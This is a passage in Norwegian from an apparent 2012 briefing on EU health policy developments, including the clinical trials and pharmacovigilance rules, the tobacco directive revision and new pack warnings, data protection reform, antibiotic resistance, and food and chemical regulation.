2007 \u2013 2011. I 2007 ble det s\u00f8kt godkjenning for mer enn 5000 kliniske fors\u00f8k i EU, mens tallet i 2011 hadde falt til 3800. Det antas at en vesentlig \u00e5rsak til nedgangen skyldes dagens komplekse og lite samordnede regler i EU. Forslaget til forordning vil gi harmoniserte og identiske regler for kliniske fors\u00f8k i EU og skal gj\u00f8re det lettere \u00e5 gjennomf\u00f8re multinasjonale studier.\u00a0 De nye reglene vil bl.a. innf\u00f8re en felles godkjenningsprosedyre for kliniske fors\u00f8k som skal gi en rask og transparent s\u00f8knadsbehandling i alle ber\u00f8rte medlemsstater.\u00a0 Det foresl\u00e5s innf\u00f8rt en forenklet rapporteringsprosedyre\u00a0 som vil spare forskerne fra \u00e5 sende inn identisk informasjon separat til en rekke organisasjoner og etater i EU og medlemsstatene.\u00a0 Kommisjonen skal kunne gjennomf\u00f8re kontroller i medlemsstatene av om regelverket f\u00f8lges.\u00a0 Forslaget er framlagt for\u00a0 r\u00e5dsarbeidsgruppen for helse, og Kypros vil under sitt formannskap initiere den f\u00f8rste etappen i behandlingen av forslaget.\n\n\u00a0\n  - #### \u00a0Revisjon av direktivet om innsyn i prisbestemmelser for legemidler og deres opptak i nasjonale syketrygdordninger \u2013 \"transparensdirektivet\"\n\nEuropakommisjonen framla 1.mars 2012 forslag til nytt direktiv 89/105/EEC som skal sikre transparens i medlemsstatenes prosesser med \u00e5 fastsette pris og refusjon for legemidler.\u00a0 Direktivet omtales som \"transparens-direktivet\".\n\n\u00a0  \nKommisjonen mener medisiner b\u00f8r komme raskere ut p\u00e5 det europeiske markedet. Det framheves at en trenger et mer dynamisk legemiddelmarked i Europa, samtidig som pasientene skal f\u00e5 raskere tilgang til nye og gode medisiner.\n\nDirektivforslaget stiller krav til medlemsstatene og foresl\u00e5r nye saksbehandlingsregler n\u00e5r det skal settes pris og refusjon for legemidler.\u00a0 Frist for \u00e5 fastsette makspris for nye legemidler foresl\u00e5s som hovedregel til 120 dager (mot tidligere 180 dager).\u00a0 Fristen kan forlenges dersom det anses n\u00f8dvendig \u00e5 gj\u00f8re omfattende kost nytte analyser.\u00a0 For generiske legemidler foresl\u00e5s fristen redusert til 30 dager, mot tidligere 180 dager. Produsenten skal n\u00e5rsom helst kunne s\u00f8ke om pris\u00f8kning. Det foresl\u00e5s strengere regler om gjennomf\u00f8ring for medlemsstatene, som n\u00e5 iflg Kommisjonen ofte oversitter fristene for saksbehandling. Statene p\u00e5legges ogs\u00e5 \u00e5 opprette en enhet som \u2013 hvis fristene oversittes - kan ilegge staten sanksjoner\u00a0 i form av p\u00e5legg, b\u00f8ter, \u00f8konomisk kompensasjon til s\u00f8ker etc.\u00a0 R\u00e5det har p\u00e5begynt behandlingen av saken. Det er motstand mot flere av forslagene i mange land.\n\n\u00a0\n  - #### Revisjon av reglene om legemiddeloverv\u00e5king\n\nDet er framlagt forslag til revisjon av Regulation (EC) No 726/2004 og Directive 2001/83/EC om legemiddeloverv\u00e5king som har v\u00e6rt under behandling en tid. De nye reglene skal skjerpe overv\u00e5kingen av bl.a. bivirkninger av legemidler p\u00e5 markedet for \u00e5 styrke pasientsikkerheten og trygge folkehelsen. Deler av regelverket er vedtatt, men etter etpar store skandalesaker med uforutsette skadevirkninger av legemidler de siste par \u00e5rene, ble det p\u00e5 nytt reist sp\u00f8rsm\u00e5l om de nye reglene var godt nok egnet til \u00e5 avverge slike uheldige hendelser.\u00a0 Kommisjonen gjennomf\u00f8rte derfor en s\u00e5kalt stresstest p\u00e5 de nye reglene i 2011 og fant at det var grunnlag for \u00e5 skjerpe reglene ytterligere. Det siste forslaget inneb\u00e6rer bl.a. en automatisk varslingsmekanisme dersom et medlemsland trekker et legemiddel fra markedet.\u00a0 Prosedyren skal ogs\u00e5 brukes dersom en produsent velger ikke \u00e5 fornye en godkjenning av sikkerhetsgrunner. Prosedyren skal kunne avsl\u00f8re det dersom en produsent hevder legemiddelet trekkes av kommersielle grunner, men i realiteten trekker det fordi det ikke anses trygt.\u00a0 Uformelle trepartsforhandlinger mellom R\u00e5det, Europaparlamentet og Kommisjonen har p\u00e5g\u00e5tt i noen tid, og det sies at partene n\u00e5 er kommet langt mot enighet om de nye forslagene.\u00a0 Kypros har som m\u00e5l \u00e5 f\u00e5 hele det nye regelverket vedtatt i sin formannskapsperiode.\n\nKommisjonen fattet 19.juni i \u00e5r vedtak om teknisk gjennomf\u00f8ring av deler av regelverket som allerede er vedtatt.\u00a0 De nye tekniske gjennomf\u00f8ringsreglene framg\u00e5r av Commission Implementing Regulation (EU) 520/2012.\u00a0 Gjennomf\u00f8ringsreglene utfyller de delene av regelverket om legemiddeloverv\u00e5king som ble vedtatt i 2010 og gjelder i EU fra juli 2012.\u00a0\n\nDen 18.juni la Kommisjonen fram et dokument med forslag om innf\u00f8ring av avgifter knyttet til legemiddeloverv\u00e5king.\u00a0H\u00f8ringsfristen er satt til 15.september 2012.\n\n\u00a0\n  - #### Forslag om nytt direktiv for medisinsk utstyr (Directive 90/385/EEC og 93/42/EEC) og direktiv om medisinsk utstyr for in vitro befruktning (Directive 98/79/EC) ventes framlagt av Kommisjonen i september 2012.\n\n\u00a0\n  - #### Handlingsplan for medisinsk utstyr\n\nHandlingsplan for medisinsk utstyr er framlagt med sikte p\u00e5 \u00e5 bedre funksjonen til de nasjonale ansvarlige godkjenningsorganene.\u00a0Planen skal ogs\u00e5 bedre samarbeidet og kommunikasjonen mellom medlemsstatene og dermed bl.a. bedre sporbarheten av medisinsk utstyr av hensyn til pasientsikkerheten.\n\nNytt helseprogram - \"Health for Growth 2014-2020\"\n\n\u00a0\nEuropakommisjonen har lagt fram det tredje, fler\u00e5rige forslaget til helseprogram for 2014 \u2013 2020. Programmet har tittelen \"Helse for Vekst\" for \u00e5 understreke at helse ikke bare er en utgiftspost for medlemslandene, men ogs\u00e5 en investering som skaper verdier og vekst.\u00a0 Forslaget til helseprogram er utarbeidet innenfor rammen av EU's 2020 strategi, som med bakgrunn i den \u00f8konomiske krisen legger hovedvekten p\u00e5 hvordan skape ny vekst i Europa.\u00a0 Det foresl\u00e5s bevilget\u00a0 tilsammen 446 millioner euro til Helseprogrammet for perioden 2014-2020 (mot 321,5 millioner euro for perioden 2008-2013). Pga overflytting av endel saksomr\u00e5der fra andre programmer er den \u00f8konomiske rammen p\u00e5 omtrent samme niv\u00e5 som tidligere.\n\nDen overordnede m\u00e5lsettingen med \"Sunnhet for Vekst\" programmet er \u00e5 samarbeide med medlemslandene om \u00e5 fremme innovasjon i helsesektoren, \u00f8ke helsesystemenes b\u00e6rekraft, bedre folkehelsen og beskytte befolkningen mot grenseoverskridende helsetrusler.\u00a0 Programmet er delt opp i fire omr\u00e5der der m\u00e5lene skal n\u00e5s:  \n\u2022\u00a0Innovative og b\u00e6rekraftige helsesystemer  \n\u2022\u00a0Bedre tilgang p\u00e5 trygge og gode helsetjenester gjennom utviklingstiltak knyttet til kompetanseutvikling, informasjon til pasienter, tiltak for \u00e5 bedre kvalitet og pasientsikkerhet  \n\u2022\u00a0Forebygge sykdom og fremme helse gjennom \u00e5 utveksle kunnskap og beste praksis om tiltak som har vist seg effektive i forebyggingsarbeidet  \n\u2022\u00a0Bedre beskyttelse mot grenseoverskridende helsetrusler gjennom utvikling av bedre beredskap og sterkere koordinering p\u00e5 EU-niv\u00e5\n\nHelseprogrammet skal rettes mot tiltak som kan gi merverdi til medlemslandene i deres bestrebelser p\u00e5 \u00e5 effektivisere helsesystemene sine, fremme ny vekst og redusere sosiale ulikheter i helse i EU.\u00a0 Behovet for \u00e5 bedre effektiviteten i landenes helsesystemer er s\u00e6rlig framhevet, og helseprogrammet skal st\u00f8tte medlemslandenes arbeid med \u00e5 omstrukturere til b\u00e6rekraftige helsesystemer som kan levere helsetjenester av h\u00f8y kvalitet i framtiden. Programmet vil st\u00f8tte innovasjon bl.a. innenfor medisinsk metodevurdering (health technology assessments), medisinsk utstyr, klinisk forskning, legemidler og det nystartede pilotprogrammet \"Innovation Partnership for Healthy and Active Ageing\".\u00a0\u00a0 Helseprogrammet vil ogs\u00e5 st\u00f8tte bedre prognoser, planlegging og utdanning for helsepersonell under henvisning til det forventede underskuddet p\u00e5 kvalifisert helsepersonell i EU i \u00e5rene framover.\u00a0\u00a0\n\nBehandlingen av Helseprogrammet ble p\u00e5begynt i Europaparlamentet og R\u00e5det under det danske formannskapet. Saksordf\u00f8rer i Parlamentet Francoise\u00a0 Grosset\u1ec7 la saken fram til en f\u00f8rste debatt i helse-, milj\u00f8- og forbrukerkomiteen (ENVI) den 20.06.12. Det var tilslutning til hovedinnretningen p\u00e5 programmet, som vil bli debattert videre under h\u00f8stsesjonen.\u00a0 Under R\u00e5dsm\u00f8tet av helseministre 21. juni ble det oppn\u00e5dd en s\u00e5kalt \u00abpartial general approach\u00bb som er en politisk enighet fra R\u00e5dets side om \u00e5 g\u00e5 videre i dr\u00f8ftinger med Parlamentet h\u00f8sten 2012.\n\n\u00a0\n## Tobakk\n\n#### Revisjon av tobakksdirektivet\n\n  \nEuropakommisjonen har gjennom flere \u00e5r arbeidet med en revisjon av tobakksdirektivet. Det er gjennomf\u00f8rt en stor h\u00f8ringsrunde der ogs\u00e5 norske helsemyndigheter leverte uttalelse.\u00a0 Direktivforslaget er forsinket, og blir trolig framlagt ved slutten av \u00e5ret.\u00a0\n\nP\u00e5 en stor konferanse i Brussel i v\u00e5r om framtidige tobakksreguleringer understreket helsekommiss\u00e6r John Dalli at tobakk utgj\u00f8r den st\u00f8rste enkeltst\u00e5ende \u00e5rsaken til for tidlig d\u00f8d og sykdom i EU. 13 millioner EU-innbyggere lider av r\u00f8ykerelaterte sykdommer.\u00a0 Dette utgj\u00f8r mer enn hele befolkningen i Ungarn, Nederland eller Portugal.\u00a0\u00a0 80% av dagens r\u00f8ykere begynte f\u00f8r de var 18.\u00a0 I noen medlemsstater er det 1 av 3 femten\u00e5ringer som r\u00f8yker.\u00a0 Kommisjonens fremste anliggende er derfor \u00e5 beskytte unge mot tobakk og hindre at flere unge begynner \u00e5 r\u00f8yke.\u00a0 Helsekommiss\u00e6ren vil ha slutt p\u00e5 at sigarettpakker designes for \u00e5 v\u00e6re attraktive i markedet \u2013 f.eks. smale, rosafargede og lekre \u2013 myntet p\u00e5 unge jenter.\u00a0 Han vil ogs\u00e5 ha slutt p\u00e5 at sigaretter tilsettes smaks- og luktstoffer som gj\u00f8r det lettere \u00e5 venne seg til tobakk i ung alder \u2013 som vanilje-, mentol- og jordb\u00e6rsmak.\u00a0 Tobakk b\u00f8r ikke stilles fram i n\u00e6rheten av andre attraktive produkter som f.eks. s\u00f8tsaker. Sigaretter skal bli vanskeligere \u00e5 f\u00e5 tak i for ungdom ved at de underlegges strengere salgsrestriksjoner.\u00a0\u00a0 Kommisjonen tar m\u00e5l av seg til \u00e5 fremme et direktivforslag som gj\u00f8r tobakk langt mindre attraktivt \u00e5 bruke for unge mennesker i sosiale sammenhenger. De \u00f8nsker ogs\u00e5 \u00e5 komme med forslag til hvordan en skal h\u00e5ndtere nye nikotinprodukter p\u00e5 markedet.\u00a0 Sp\u00f8rsm\u00e5l det arbeides med i Kommisjonen med sikte p\u00e5 forslag til revidert direktiv er bl.a.  \n\\-\u00a0hvordan h\u00e5ndtere nye produkter p\u00e5 markedet som elektroniske sigaretter med og uten nikotin, urtesigaretter, tyggetobakk mm.\u00a0 Forholdet mellom tobakkslovgivningen og legemiddellovgivningen m\u00e5 utredes for flere slike produkter  \n\\-\u00a0innf\u00f8ring av n\u00f8ytrale forpakninger (\"plain packaging\")  \n\\-\u00a0innf\u00f8ring av minimumspakninger p\u00e5 20 sigaretter  \n\\-\u00a0innf\u00f8ring av utstillingsforbud (\"display ban\")  \n\\-\u00a0obligatorisk informasjon p\u00e5 pakningene om gr\u00f8nt nummer for r\u00f8ykeslutt  \n\\-\u00a0salgsrestriksjoner -\u00a0 strengere alderskontroll, lisens for \u00e5 selge tobakk, salg over internett\n\nNye helseadvarsler p\u00e5 r\u00f8ykpakker\n\n  \nI medhold av det gjeldende direktivet vedtok Kommisjonen 7.mars 14 nye helseadvarsler for sigarettpakninger.\u00a0\u00a0 Siden 2003 har det v\u00e6rt p\u00e5budt \u00e5 advare konsumentene om helserisiko ved \u00e5 r\u00f8yke.\u00a0 De 14 nye helseadvarslene er valgt ut blant 24 mulige advarsler, etter en omfattende sp\u00f8rreunders\u00f8kelse blant m\u00e5lgrupper i alle 27 medlemsland.\n\n\u00a0  \nDe nye advarslene blir (fritt oversatt):  \n1.\u00a09 av 10 tilfeller av lungekreft skyldes r\u00f8yking  \n2.\u00a0R\u00f8yking for\u00e5rsaker munn- og stupekreft  \n3.\u00a0R\u00f8yking \u00f8delegger lungene dine  \n4.\u00a0R\u00f8yking kan gi slag  \n5.\u00a0R\u00f8yking kan gi hjerteinfarkt  \n6.\u00a0R\u00f8yking skaper tette \u00e5rer  \n7.\u00a0R\u00f8yking \u00f8ker risikoen for \u00e5 bli blind  \n8.\u00a0R\u00f8yking \u00f8delegger tennene og munnhulen din  \n9.\u00a0R\u00f8yking kan ta livet av det uf\u00f8dte barnet ditt  \n10.\u00a0Din r\u00f8yking skader barna, familien og vennene dine  \n11.\u00a0Barn av r\u00f8ykere blir begynner oftere \u00e5 r\u00f8yke selv  \n12.\u00a0Slutt \u00e5 r\u00f8yke \u2013 holde deg i live for dine n\u00e6rmeste  \n14.\u00a0R\u00f8yking \u00f8ker risikoen for impotens\n\n  \nMedlemsstatene har 2 \u00e5r p\u00e5 seg til \u00e5 introdusere de nye advarslene p\u00e5 forpakningene. De nye reglene gj\u00f8r det ogs\u00e5 mulig for medlemsstatene \u00e5 kombinere tekst- og bildeadvarsler.\u00a0 Advarsler med bilder er n\u00e5 i bruk i 9 medlemsland:\u00a0 Belgia, Romania, Storbritania, Latvia, Frankrike, Malta, Spania, Ungarn og Danmark.\u00a0 Flere medlemsland har tilsvarende advarsler p\u00e5 gang.\n\n\u00a0\n#### Nytt Eurobarometer om r\u00f8ykevaner i EU\n\n  \nEU har publisert en ny unders\u00f8kelse av r\u00f8ykevaner og holdning til tobakk i EU.\n\nUnders\u00f8kelsen viser at 28% av innbyggerne i EU er dagligr\u00f8ykere. Situasjonen er ikke vesentlig forandret siden siste Eurobarometer om r\u00f8yking h\u00f8sten 2009, da 29% av respondentene rapporterte at de r\u00f8kte daglig. 70% av b\u00e5de r\u00f8ykere og tidligere r\u00f8ykere startet f\u00f8r de fylte \u00a018. R\u00f8yking er betydelig mer vanlig i Syd- enn i Nord-Europa.\u00a0 H\u00f8yest andel r\u00f8ykere fins i Hellas (36%), Bulgaria (36%)og Latvia(36%).\u00a0 F\u00e6rrest r\u00f8ykere rapporteres i Sverige (13%), Portugal (23%) og Slovakia (23%).\n\nSamtidig viser Eurobarometeret at 60% er for tiltak som gj\u00f8r tobakk mindre synlig og attraktiv, som \u00e5 holde tobakksprodukter ute av syne i butikker og begrense bruken av tiltrekkende farger og smaksstoffer.\n\n\u00a0\n\n## Status for direktivet om pasientrettigheter ved grensekryssende helsetjenester\n\n\u00a0\n\nInnen oktober 2013 m\u00e5 alle medlemsland ha implementert fullt ut det nye direktivet om grensekryssende helsetjenester i nasjonal lovgivning.\u00a0\n\nKommisjonen har nedsatt en komit\u00e9 med representanter for medlemsstatene som skal koordinere gjennomf\u00f8ringen av direktivet.\u00a0 Norge er observat\u00f8r i komiteen. Under ledelse av Kommisjonen dr\u00f8fter komiteen hvordan en skal forst\u00e5 de ulike bestemmelsene i direktivet for \u00e5 fremme mest mulig lik praktisering.\u00a0 Komiteen setter ogs\u00e5 opp nettverk og arbeidsgrupper som skal st\u00e5 for samarbeidet om eHelse, kvalitet og sikkerhet, nasjonale kontaktpunkter, medisinske metodevurderinger (HTA), organtransplantasjon og medisinske referansesentre.\u00a0\n\nNorge deltar som observat\u00f8r i de arbeidsgruppene som er igang - arbeidsgruppen for referansesentre, kvalitet og sikkerhet, eHelse, organtransplantasjon og medisinske metodevurderinger.\n\nI Kommisjonen arbeides det for tiden mye med \u00e5 utrede hvordan medlemslandene tenker seg organiseringen av nasjonale kontaktpunkter, alternativer for \u00e5 prissette helsetjenester p\u00e5 tvers av landegrensene, sp\u00f8rsm\u00e5l om frivillige forh\u00e5ndsavtaler/forh\u00e5ndsbetaling s\u00e5 pasienter kan slippe \u00e5 legge ut, og hvordan medlemslandene tenker \u00e5 definere sykehustjenester versus tjenester utenfor sykehus.\u00a0 Kommisjonen har i l\u00f8pet av v\u00e5ren 2012 gjennomf\u00f8rt bes\u00f8k til n\u00e6r alle medlemslandene for \u00e5 dr\u00f8fte status og planer for implementeringen med det enkelte medlemsland.\u00a0\n\n## Revisjon av direktivet om gjensidig anerkjennelse av yrkeskvalifikasjoner\n\n\u00a0\nKommisjonen har lagt fram flere forslag med relevans for godkjenningen av helsepersonell i forbindelse med revideringen av yrkeskvalifikasjonsdirektivet.\u00a0 Det er foresl\u00e5tt innf\u00f8ring av et europeisk profesjonskort som skal lette godkjenningen p\u00e5 tvers av landegrensene for den enkelte, og dermed fremme mobilitet i det europeiske arbeidsmarkedet.\u00a0 Kortet skal effektivisere medlemslandenes godkjenningsprosesser, som i dag ofte er uoversiktlige for den enkelte og tar lang tid. Forslaget har m\u00f8tt bred st\u00f8tte, men det er ogs\u00e5 enkelte som tviler p\u00e5 betydningen av et slikt profesjonskort. Flere land har ogs\u00e5 uttrykt engstelse for at dette krever administrative systemer en ikke har i dag og som vil v\u00e6re kostbare for landene \u00e5 f\u00e5 p\u00e5 plass.\u00a0\n\nKommisjonen foresl\u00e5r at spr\u00e5kkrav fortsatt skal kunne testes av det enkelte medlemsland, innenfor rammen av det som anses proporsjonalt og ikke-diskriminerende.\u00a0 De fleste profesjonsorganisasjonene i EU synes \u00e5 mene at spr\u00e5kkrav b\u00f8r behandles som andre kompetansekrav, da god spr\u00e5kbeherskelse er avgj\u00f8rende for pasientsikkerhet og god behandling. I debatten ytres ulikt syn p\u00e5 om det skal gis felles regler og standarder for spr\u00e5kkrav eller om det skal v\u00e6re helt og fullt opp til medlemslandene.\u00a0\n\nKrav til utdanningstidens lengde for ulike grupper helsepersonell har v\u00e6rt sterkt diskutert.\u00a0 Kommisjonen har foresl\u00e5tt \u00e5 beholde kravet til utdanningstid for leger, men foresl\u00e5r \u00e5 \u00f8ke utdanningstiden for sykepleiere og jordm\u00f8dre fra 10 til 12 \u00e5r, noe som idag praktiseres i de fleste medlemslandene.\u00a0 Profesjonsorganisasjoner, pasientorganisasjoner og en rekke myndigheter anser dette som et n\u00f8dvendig grunnlag for at \"en sykepleier skal v\u00e6re en sykepleier\" i EU.\u00a0 For endel av de nyere medlemslandene vil det m\u00e5tte medf\u00f8re tildels store omlegginger av sykepleierutdanningen.\n\nDet er lagt fram forslag til en varslingsmekanisme innenfor rammen av direktivet som kan varsle andre lands myndigheter n\u00e5r helsepersonell har forbrutt seg og er ilagt begrensninger/sanksjoner i ett medlemsland.\u00a0 Det sies \u00e5 v\u00e6re mye utredningsarbeid som gjenst\u00e5r f\u00f8r det blir klart hva en slik varslingsmekanisme kan omfatte og hvordan den skal kunne brukes.\u00a0\n\n\u00a0\n## Antibiotikaresistens\n\n\u00a0\n\nKommisjonen la den 15.november 2011 fram forslag til en\u00a0fem \u00e5rs handlingsplan mot antibiotikaresistens \u2013 basert p\u00e5 prinsippet om \"one health\" (COM (2011)748).\u00a0 Planen skal i tr\u00e5d med navnet adressere problemer med antibiotikaresistens b\u00e5de hos dyr og mennesker, noe som ofte henger sammen.\u00a0 Forslaget dekker 7 tiltaksomr\u00e5der:  \n\u2022\u00a0Sikre at antibiotika brukes riktig for mennesker og dyr  \n\u2022\u00a0Hindre mikrobiologiske infeksjoner og spredning av slike  \n\u2022\u00a0Utvikle nye, effektive antibiotika eller alternativer  \n\u2022\u00a0Samarbeide med internasjonale partnere for \u00e5 minimere risikoen for AMR  \n\u2022\u00a0Bedre overv\u00e5kingen b\u00e5de innenfor dyre \u2013 og menneskemedisin  \n\u2022\u00a0Bedre kommunikasjon, utdanning og oppl\u00e6ring\n\nDanmark har valgt arbeidet med antibiotikaresistens som en av sine prioriteringer p\u00e5 helse- og matomr\u00e5det.\u00a0 En stor fagkonferanse ble avholdt i\u00a0 K\u00f8benhavn 14.-15.mars 2012 i K\u00f8benhavn.\u00a0 Danskene utarbeidet r\u00e5dsanbefalinger til medlemsstatene om antibiotikaresistens som skal\u00a0 ble vedtatt av R\u00e5det i juni.\n\n##   \nRevisjon av direktivet om datasikkerhet\n\n\u00a0\nKommisjonen mener utviklingen over internett med \u00f8kt netthandel, \u00f8kt bruk av sosiale medier og utveksling av personsensitiv informasjon over en rekke ulike kanaler utfordrer EUs eksisterende regler om beskyttelse av persondata. Dagens regelverk er sammensatt og lite oversiktlig og gj\u00f8r at b\u00e5de offentlige og kommersielle akt\u00f8rer har problemer med \u00e5 bruke det.\u00a0 Det har v\u00e6rt f\u00e5 bestrebelser p\u00e5 \u00e5 harmonisere praktiseringen av persondatasikkerhet i EU. Lisboatraktatens artikkel 8 gir ny hjemmel for \u00e5 definere grunnleggende prinsipper for beskyttelse av persondata i EU.\u00a0\u00a0 Kommisjonen proklamerte derfor i mars at de arbeider med en reformpakke som ogs\u00e5 innbefatter nye rettsregler for datasikkerhet.\u00a0 I reformpakken ligger det ogs\u00e5 forslag med relevans for helsesektoren.\u00a0 Reformpakken skal  \n\\-\u00a0etablere et moderne, sterkt, konsistent og helhetlig rammeverk for databeskyttelse i EU  \n\\-\u00a0gi individet bedre sikkerhet for den grunnleggende retten til beskyttelse av egne data  \n\\-\u00a0forenkle regelverket for n\u00e6ringssektoren og offentlig sektor og stimulere til m\u00e5lene i Europa 2020 om ny digital agenda for Europa  \n\\-\u00a0\u00f8ke tilliten mellom ulike etater som oppbevarer persondata og lette utvekslingen av n\u00f8dvendige data mellom dem.\u00a0 Dette skal s\u00e6rlig lette samarbeidet om internasjonal kriminalitet, samtidig som en bevarer et h\u00f8yt beskyttelsesniv\u00e5 for persondata\n\nSom del av pakken foresl\u00e5r Kommisjonen en revisjon av direktiv 95/46/EC, som utgj\u00f8r stammen i EU-regelverket om beskyttelse av persondata.\u00a0 Direktivforslaget skal medf\u00f8re at det enkelte individ f\u00e5r bedre informasjon om hvordan egne data behandles.\u00a0 Det foresl\u00e5s innf\u00f8rt krav om aktivt samtykke n\u00e5r samtykke er p\u00e5krevet . Det foresl\u00e5s innf\u00f8rt en \"rett til \u00e5 bli glemt\".\u00a0 Sanksjonsmulighetene foresl\u00e5s styrket ved brudd p\u00e5 regelverket m.v.\n\nFor personlige data om helse foresl\u00e5s egne regler.\u00a0 Det introduseres en definisjon p\u00e5 hva som skal v\u00e6re \u00e5 anse som helsedata.\u00a0 Reglene om samtykke til \u00e5 utveksle sensitive persondata foresl\u00e5s endret.\u00a0 Det foresl\u00e5s ogs\u00e5 inntatt en egen artikkel som regulerer behandling av helsedata uten samtykke.\u00a0 Ogs\u00e5 n\u00e5r det gjelder helsedata foresl\u00e5s en tiln\u00e6rming som kan sikre \"retten til \u00e5 bli glemt\".\u00a0\n\nDr\u00f8ftinger av forslaget til \"reformpakken for datasikkerhet\" ble p\u00e5begynt under det danske formannskapet.\u00a0 Kommisjonen \u00f8nsker \u00e5 ha en \u00e5pen dialog med alle interesserte parter f\u00f8r konkrete forslag legges fram.\n\n\u00a0\n## Forslag til forordning om\u00a0 mat for barn og mat til mennesker med spesielle helsemessige behov\n\n  \nKommisjonen har framlagt forslag til ny forordning om mat til spebarn og sm\u00e5 barn og mat til mennesker med spesielle behov (dietetiske produkter mm).\u00a0 Forordningen tar sikte p\u00e5 \u00e5 erstatte, klargj\u00f8re og forenkle det eksisterende regelverket om mat med slike form\u00e5l.\u00a0 Saken er til behandling i r\u00e5dsarbeidsgruppen. Det kypriotiske formannskapet \u00f8nsker \u00e5 drive fram behandling og en f\u00f8rste avstemning over saken i Europaparlamentets komite for helse-, milj\u00f8- og forbrukersaker (ENVI) i l\u00f8pet av h\u00f8sten 2012.\n\n## Europaparlamentet \u00f8nsker regler som begrenser adgangen til \u00e5 reklamere for mat med h\u00f8yt fett-, sukker- og saltinnhold til barn\n\n\u00a0\n\nEuropaparlamentet vedtok 22.mai 2012 en resolusjon som ber Kommisjonen se p\u00e5 behovet for EU-regler som begrenser reklame for usunn mat til barn.\u00a0 I plenumsm\u00f8te 22.mai vedtok parlamentet en rapport om hensynet til s\u00e5rbare konsumenter som barn.\u00a0 Rapporten st\u00f8tter industriens egne tiltak for \u00e5 begrense slik reklame og anmoder produsentene om \u00e5 styrke egenreguleringen av reklame rettet mot barn og unge for usunn mat. Samtidig oppfordres Kommisjonen til \u00e5 vurdere behovet for lovregler for samme form\u00e5l.\u00a0 Resolusjonen ber ogs\u00e5 Kommisjonen om \u00e5 utarbeide en strategi til beskyttelse av s\u00e5rbare forbrukergrupper, der barn og unge ses p\u00e5 som s\u00e6rlig utsatt for misledende reklame.\u00a0\n\nRett til \u00e5 merke matvarer med \u00abikke tilsatt salt\u00bb\n\n\u00a0\n\nEt forslag om \u00e5 kunne merke matvarer med \u00abikke tilsatt salt\u00bb falt ved behandlingen i Parlamentet\u00a0 tidligere i \u00e5r, da det inngikk som del av et mer omfattende forslag om \u00e5 tillate p\u00e5stander som sier \u00abinneholder X% mindre\u2026\u00bb.\u00a0 Kommisjonen har n\u00e5 omarbeidet forslaget som falt og fremmer p\u00e5 nytt et forslag om \u00e5 kunne merke matvarer med \u00abikke tilsatt salt\u00bb, \u00abredusert mengde X\u2026\u00bb og \u00ablett-produkt\u00bb.\u00a0\u00a0 behandling i R\u00e5det.\u00a0\u00a0 Et positivt vedtak vil f\u00f8re til en revisjon av listen over godkjente helsep\u00e5stander i p\u00e5standsforordningen (Health and Nutrition Claims Regulation (1924/2006).\n\n\u00a0\n## Kommisjonen vil gj\u00f8re analyser for \u00e5 vurdere \u00abcocktail-effekten\u00bb av kjemikalier\n\n\u00a0\nI en pressemelding 1.juni proklamerte Kommisjonen at den \u00f8nsker en ny tiln\u00e6rming til den s\u00e5kalte \u00abcocktail-effekten\u00bb av kjemikalier p\u00e5f\u00f8rt mennesker gjennom mat, vann, luft og ulike produkter.\u00a0\u00a0 I dag analyseres hvert kjemikalium individuelt mhp helsefare.\u00a0 Planen skal v\u00e6re \u00e5 vurdere effekten n\u00e5r flere substanser virker sammen og utsetter forbrukeren for en \u00abtoksisk cocktail\u00bb.\u00a0\u00a0\u00a0 Kommisjonen sier den vil velge ut et prioritert sett av sammenvirkende stoffer (\u00abpriority mixtures\u00bb), se at de ulike rettsreglene i EU sikrer konsistente og sammenlignbare risikoanalyser og \u00abfylle hullene i v\u00e5rt kunnskapsgrunnlag som gj\u00f8r det mulig \u00e5 gjennomf\u00f8re mer \u00abtotalanalyser\u00bb av virkningen p\u00e5 mennesker og milj\u00f8.\u00a0 Kommisjonen vil komme tilbake til hvilke konkrete tiltak de vil iverksette for \u00e5 kunne gjennomf\u00f8re slike sammensatte analyser.\n\n\u00a0\n## Bisphenol A\n\n\u00a0\n\nEn studie utf\u00f8rt av et tysk forskningsinstitutt\u00a0 p\u00e5 oppdrag av Kommisjonen sier bisphenol A har virkninger p\u00e5 kvinners fruktbarhet og tidspunktet for pubertet.\u00a0 Den sier ogs\u00e5 at bisphenol A kan for\u00e5rsake brystkreft og kreft i skjoldbukskjertelen. Mens EFSA fortsatt st\u00e5r p\u00e5 at dagens bruk av bisphenol A i matkontaktmaterialer er trygt, anbefaler den tyske forskeren at EFSAs metoder for \u00e5 analysere risiko i sin allminnelighet revideres.\u00a0\u00a0 Det tyske forskningsmilj\u00f8et sier r\u00e5dende internasjonale analysemetoder er utilstrekkelige og at en vet for lite om \"cocktail-effekten\" ved bruk av ulike kjemikalier i matkontaktmaterialer. De maner til s\u00e6rlig forsiktighet overfor s\u00e5rbare grupper som barn.\n\nRapporten har utl\u00f8st reaksjoner, bl.a. fra den europeiske forbrukerorganisasjonen\u00a0 BEUC, som ber Kommisjonen ta grep snarest for \u00e5 revidere risikovurderingsmetodene som brukes i EU.\u00a0\u00a0\n\nBruk av bisphenol A i t\u00e5teflasker er allerede forbudt i EU.\u00a0 Danmark forbyr n\u00e5 stoffet i endel andre matkontaktmaterialer for barn.\u00a0 Belgia har varslet at de vil f\u00f8lge etter og gj\u00f8re det samme. Kommisjonen har forel\u00f8pig som posisjon at de avventer en ny evaluering fra EFSA som vil bli framlagt neste sommer.\n\n\u00a0\n## Forordningen om helsep\u00e5stander - status for listen over godkjente helsep\u00e5stander etter art 13\n\n\u00a0\n\nDen 5.desember godkjente Committee on the Food Chain and Animal Health (SCFCAH) 222 helsep\u00e5stander for bruk i EU.\u00a0 Tilsammen er n\u00e5 n\u00e6r 2000 p\u00e5stander vurdert.\u00a0 De resterende omlag 2000 p\u00e5standene er fortsatt til vurdering i EFSA.\n\nI Europaparlamentet ble det i v\u00e5r fremmet forslag om ikke \u00e5 godkjenne listen med 222 helsep\u00e5stander.\u00a0 Parlamentarikere fra flere partier hevdet at listen ikke var utarbeidet etter gode vitenskapelige metoder, og at den f\u00f8rte til at flere produkter som har v\u00e6rt markedsf\u00f8rt med helsep\u00e5stander i mange ti\u00e5r n\u00e5 plutselig er blitt \"usunne\".\u00a0 Dette vil villede forbrukerne og s\u00e5 tvil om hele ordningen med helsep\u00e5stander, ble det hevdet. Forslagsstillerne mente EUs mattrygghetsbyr\u00e5 EFSA m\u00e5tte behandle saken p\u00e5 nytt med reviderte metoder.\u00a0\u00a0 Forslaget fikk ikke flertall ved behandlingen i helse-, forbruker- og milj\u00f8komiteen (ENVI) i mars.\u00a0 Listen med 222 godkjente helsep\u00e5stander blir dermed gjort 